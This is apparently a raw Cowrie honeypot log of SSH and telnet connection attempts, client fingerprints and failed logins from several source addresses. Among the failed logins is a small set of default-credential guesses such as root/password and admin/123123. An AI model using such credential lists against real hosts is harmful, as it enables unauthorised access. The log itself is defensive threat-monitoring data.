{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:45.073352Z","src_ip":"176.65.132.129","session":"3ba62fca64e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.317797899246216,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:45.687207Z","src_ip":"45.81.23.16","session":"03b1ea1800ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:46.320019Z","src_ip":"176.65.132.129","session":"3ba62fca64e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55138,"dst_ip":"159.203.135.109","dst_port":23,"session":"a60dba74b5f4","protocol":"telnet","message":"New connection: 38.60.198.128:55138 (159.203.135.109:23) [session: a60dba74b5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:47.276392Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34188,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c23081c7a81","protocol":"ssh","message":"New connection: 176.65.132.129:34188 (10.17.0.5:22) [session: 1c23081c7a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:48.077105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:48.083412Z","src_ip":"176.65.132.129","session":"1c23081c7a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:48.164974Z","src_ip":"176.65.132.129","session":"1c23081c7a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:48.411631Z","src_ip":"176.65.132.129","session":"1c23081c7a81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56108,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1e56c210928","protocol":"telnet","message":"New connection: 38.60.198.128:56108 (159.203.135.109:23) [session: e1e56c210928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:48.494553Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:49.496369Z","src_ip":"176.65.132.129","session":"1c23081c7a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.38139081001282,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:50.510225Z","src_ip":"38.60.198.128","session":"dc9b57d84e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57270,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b3b310c0b6","protocol":"telnet","message":"New connection: 38.60.198.128:57270 (159.203.135.109:23) [session: b1b3b310c0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:50.683129Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54808,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9d5429c2ce3","protocol":"telnet","message":"New connection: 38.60.198.128:54808 (159.203.135.109:23) [session: f9d5429c2ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:51.115467Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58804,"dst_ip":"159.203.135.109","dst_port":23,"session":"92695dd40123","protocol":"telnet","message":"New connection: 38.60.198.128:58804 (159.203.135.109:23) [session: 92695dd40123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:51.120831Z"}
{"eventid":"cowrie.session.closed","duration":11.817773342132568,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:51.297499Z","src_ip":"45.81.23.16","session":"22f51080dfa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34194,"dst_ip":"10.17.0.5","dst_port":22,"session":"35d855c9edcb","protocol":"ssh","message":"New connection: 176.65.132.129:34194 (10.17.0.5:22) [session: 35d855c9edcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:51.702883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:51.708356Z","src_ip":"176.65.132.129","session":"35d855c9edcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:51.790506Z","src_ip":"176.65.132.129","session":"35d855c9edcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:52.038213Z","src_ip":"176.65.132.129","session":"35d855c9edcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.03552603721619,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:52.465343Z","src_ip":"38.60.198.128","session":"c1f921f00c31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.10974907875061,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:53.077714Z","src_ip":"38.60.198.128","session":"8057a31b3f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:53.122890Z","src_ip":"176.65.132.129","session":"35d855c9edcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34200,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b40222404a0","protocol":"ssh","message":"New connection: 176.65.132.129:34200 (10.17.0.5:22) [session: 3b40222404a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:55.101537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:55.106603Z","src_ip":"176.65.132.129","session":"3b40222404a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:55.191669Z","src_ip":"176.65.132.129","session":"3b40222404a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:55.440229Z","src_ip":"176.65.132.129","session":"3b40222404a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:56.525458Z","src_ip":"176.65.132.129","session":"3b40222404a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37220,"dst_ip":"159.203.135.109","dst_port":23,"session":"0471756a0f9e","protocol":"telnet","message":"New connection: 38.60.198.128:37220 (159.203.135.109:23) [session: 0471756a0f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:56.914741Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38152,"dst_ip":"10.17.0.5","dst_port":22,"session":"543ad54cd5e7","protocol":"ssh","message":"New connection: 176.65.132.129:38152 (10.17.0.5:22) [session: 543ad54cd5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:58.703855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:58.710710Z","src_ip":"176.65.132.129","session":"543ad54cd5e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:58.795441Z","src_ip":"176.65.132.129","session":"543ad54cd5e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:59.048228Z","src_ip":"176.65.132.129","session":"543ad54cd5e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":52232,"dst_ip":"159.203.135.109","dst_port":22,"session":"525cd8a6a94f","protocol":"ssh","message":"New connection: 57.128.222.14:52232 (159.203.135.109:22) [session: 525cd8a6a94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:59.511208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:59.517276Z","src_ip":"57.128.222.14","session":"525cd8a6a94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:59.621815Z","src_ip":"57.128.222.14","session":"525cd8a6a94f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaabbbb","message":"login attempt [root/aaaabbbb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:00.075011Z","src_ip":"57.128.222.14","session":"525cd8a6a94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:00.133066Z","src_ip":"176.65.132.129","session":"543ad54cd5e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:01.183357Z","src_ip":"57.128.222.14","session":"525cd8a6a94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38170,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b1041f52bf1","protocol":"ssh","message":"New connection: 176.65.132.129:38170 (10.17.0.5:22) [session: 9b1041f52bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.120996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.126187Z","src_ip":"176.65.132.129","session":"9b1041f52bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.209334Z","src_ip":"176.65.132.129","session":"9b1041f52bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.463135Z","src_ip":"176.65.132.129","session":"9b1041f52bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":38606,"dst_ip":"10.17.0.5","dst_port":22,"session":"b96e265cd500","protocol":"ssh","message":"New connection: 95.215.8.165:38606 (10.17.0.5:22) [session: b96e265cd500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.523195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.528843Z","src_ip":"95.215.8.165","session":"b96e265cd500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.617021Z","src_ip":"95.215.8.165","session":"b96e265cd500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57774,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1c7c16ba22c","protocol":"telnet","message":"New connection: 192.211.53.160:57774 (159.203.135.109:23) [session: b1c7c16ba22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.976048Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"25","message":"login attempt [ubuntu/25] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:02.991056Z","src_ip":"95.215.8.165","session":"b96e265cd500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:03.549646Z","src_ip":"176.65.132.129","session":"9b1041f52bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:04.080119Z","src_ip":"95.215.8.165","session":"b96e265cd500","protocol":"ssh"}
